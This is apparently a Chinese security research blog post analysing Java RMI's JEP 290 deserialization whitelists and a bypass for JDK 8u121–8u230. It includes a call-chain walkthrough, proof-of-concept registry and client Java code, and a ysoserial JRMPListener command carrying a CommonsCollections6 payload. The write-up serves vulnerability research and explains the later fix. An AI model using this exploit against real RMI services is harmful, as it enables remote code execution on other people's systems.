通过 JVM 参数或者配置文件进行配置
对于 RegistryImpl
在 RegistryImpl
中含有一个静态字段 registryFilter
,所以在 new
RegistryImpl
对象的时候,会调用 initRegistryFilter
方法进行赋值:
initRegistryFilter
方法会先读取 JVM 的 sun.rmi.registry.registryFilter
的属性,或者是读取 %JAVA_HOME%\conf\security\java.security
配置文件中的 sun.rmi.registry.registryFilter
字段来得到 JEP 290 形式的 pattern ,再调用 ObjectInputFilter.Config.createFilter2
创建 filter
并且返回。
白名单就是这个目录
有些是%JAVA_HOME\conf\security\java.security%
#sun.rmi.registry.registryFilter=\
# maxarray=1000000;\
# maxdepth=20;\
# java.lang.String;\
# java.lang.Number;\
# java.lang.reflect.Proxy;\
# java.rmi.Remote;\
# sun.rmi.server.UnicastRef;\
# sun.rmi.server.RMIClientSocketFactory;\
# sun.rmi.server.RMIServerSocketFactory;\
# java.rmi.activation.ActivationID;\
# java.rmi.server.UID
RegistryImpl#registryFilter
函数会先判断 RegistryImpl#regstiryFilter
字段是否为 null 来决定使用用户自定义的过滤规则,还是使用默认的白名单规则,如果不是 null 的话,会先调用用户自定义的过滤规则进行检查,接着判断检查结果,如果不是 UNDECIDED
就直接返回检查的结果,否则再使用默认的白名单检查。
对于 DGCImpl
在 DGCImpl
中含有一个静态字段 dgcFilter
,所以在 new
DGCImpl
对象的时候,会调用 initDgcFilter
方法进行赋值
initDgcFilter
方法会先读取 JVM 的 sun.rmi.transport.dgcFilter
的属性,或者是读取 %JAVA_HOME\conf\security\java.security%
配置文件中的 sun.rmi.transport.dgcFilter
字段来得到 JEP 290 形式的 pattern ,再调用 ObjectInputFilter.Config.createFilter
创建 filter
并且返回。
#sun.rmi.transport.dgcFilter=\
# java.rmi.server.ObjID;\
# java.rmi.server.UID;\
# java.rmi.dgc.VMID;\
# java.rmi.dgc.Lease;\
# maxdepth=5;maxarray=10000
类似的,如果这里的dcgFilter不为空的话,优先调用它去对输入进行过滤。具体来说,会先判断 DGCImpl#dgcFilter
字段是否为 null 来决定使用用户自定义的过滤规则,还是使用默认的白名单规则,如果不是 null 的话,会先调用用户自定义的过滤规则进行检查,接着判断检查结果,如果不是 UNDECIDED
就直接返回检查的结果,否则再使用默认的白名单检查。
仔细看的话,似乎是个递归
白名单总结
在RegistryImpl#registryFilter
中的白名单内容有:
- String
- Number
- Remote
- Proxy
- UnicastRef
- RMIClientSocketFactory
- RMIServerSocketFactory
- ActivationID
- UID
在DGCImpl#checkInput
中的白名单内容有:
- ObjID
- UID
- VMID
- Lease
只要反序列化的类不是白名单中的类, 便会返回REJECTED
操作符, 表示序列化流中有不合法的内容, 直接抛出异常.
RMI 中 JEP 290 的绕过
Bypass 8u121~8u230
UnicastRef 类
首先研究jdk8u121
跟进LocateRegistry#getRegistry
方法, 先用TCPEndpoint
封装Registry
的host
、port
等信息, 然后用UnicastRef
封装了liveRef
, 最终获取到一个在其中封装了一个UnicastRef
对象的RegistryImpl_Stub
对象
lookup下断点,看看Client
中的stub
对象是如何连接Registry
的,跟进后不难看出, 其连接过程是先通过UnicastRef
的newCall
方法发起连接, 然后把要绑定的对象发送到Registry
因此, 如果我们可以控制UnicastRef#LiveRef
所封装的host
、port
等信息, 便可以发起一个任意的JRMP
连接请求, 这个trick
点和ysoserial
中的payloads.JRMPClient
是相同的原理.
RemoteObject 类
前面我们调试lookup的时候,会看到下面的调用尝试
不过我好像调不进去,事后我直接remoteObject#readObject下断点了
看到调用栈还是很恐怖的
还好没去认真调
它的readObject最后返回ref, ref.readExternal(in)
中的ref
正好是一个UnicastRef
对象,是白名单里面的
继续跟进
跟进LiveRef#read
方法, 在该方法中先会调用TCPEndpoint#readHostPortFormat
方法读出序列化流中的host
和port
相关信息, 然后将其重新封装成一个LiveRef
对象, 并将其存储到当前的ConnectionInputStream
上.
saveRef其实是做一个映射,其建立了一个TCPEndpoint
到ArrayList<LiveRef>
的映射关系.
回到前面的RemoteObject#readObject
方法, 这里的readObject
是在RegistryImpl_Skle#dispatch
中的readObject
方法触发来的.
。。。。。。。。。。。。
实操
在上文对UnicastRef
和RemoteObject
两个类的分析中可以发现:
RemoteObject
类及其子类对象可以被bind
或者lookup
到Registry
, 且在白名单之中.RemoteObject
类及其没有实现readObject
方法的子类经过反序列化可以通过内部的UnicastRef
对象发起JRMP
请求连接恶意的Server
.
至此, ByPass JEP-290
的思路就非常明确了:
ysoserial
开启一个恶意的JRMPListener
.- 控制
RemoteObject
中的UnicastRef
对象(封装了恶意Server
的host
、port
等信息). Client
或者Server
向Registry
发送这个RemoteObject
对象,Registry
触发readObject
方法之后会向恶意的JRMP Server
发起连接请求.- 连接成功后成功触发
JRMPListener
.
Registry
触发反序列化利用链如下:
客户端发送数据 ->...
UnicastServerRef#dispatch –>
UnicastServerRef#oldDispatch –>
RegistryImpl_Skle#dispatch –> RemoteObject#readObject
StreamRemoteCall#releaseInputStream –>
ConnectionInputStream#registerRefs –>
DGCClient#registerRefs –>
DGCClient$EndpointEntry#registerRefs –>
DGCClient$EndpointEntry#makeDirtyCall –>
DGCImpl_Stub#dirty –>
UnicastRef#invoke –> (RemoteCall var1)
StreamRemoteCall#executeCall –>
ObjectInputSteam#readObject –> "demo"
ByPass JEP-290
的关键在于: 通过反序列化将Registry
变为JRMP
客户端, 向JRMPListener
发起JRMP
请求,这里还需要注意的一点就是需要找到一个类实现类RemoteObject
方法,
POC
RMIRegistry
package Bypass1;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
public class RMIRegistry {
public static void main(String[] args) throws RemoteException {
LocateRegistry.createRegistry(2222);
System.out.println("RMI Registry Start...");
while (true);
}
}
RMIClient
package Bypass1;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
public class RMIClient {
public static void main(String[] args) throws RemoteException, AlreadyBoundException {
Registry registry = LocateRegistry.getRegistry(2222);
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 9999);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
registry.bind("demo", obj);
}
}
java -cp .\ysoserial-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections6 "calc"
修复
JDK8u231
版本及以上的DGCImpl_Stub#dirty
方法中多了一个setObjectInputFilter
的过程, 导致JEP 290
重新可以check
到.
您好~我是腾讯云开发者社区运营,关注了您分享的技术文章,觉得内容很棒,我们诚挚邀请您加入腾讯云自媒体分享计划。完整福利和申请地址请见:https://cloud.tencent.com/developer/support-plan
作者申请此计划后将作者的文章进行搬迁同步到社区的专栏下,你只需要简单填写一下表单申请即可,我们会给作者提供包括流量、云服务器等,另外还有些周边礼物。
谢邀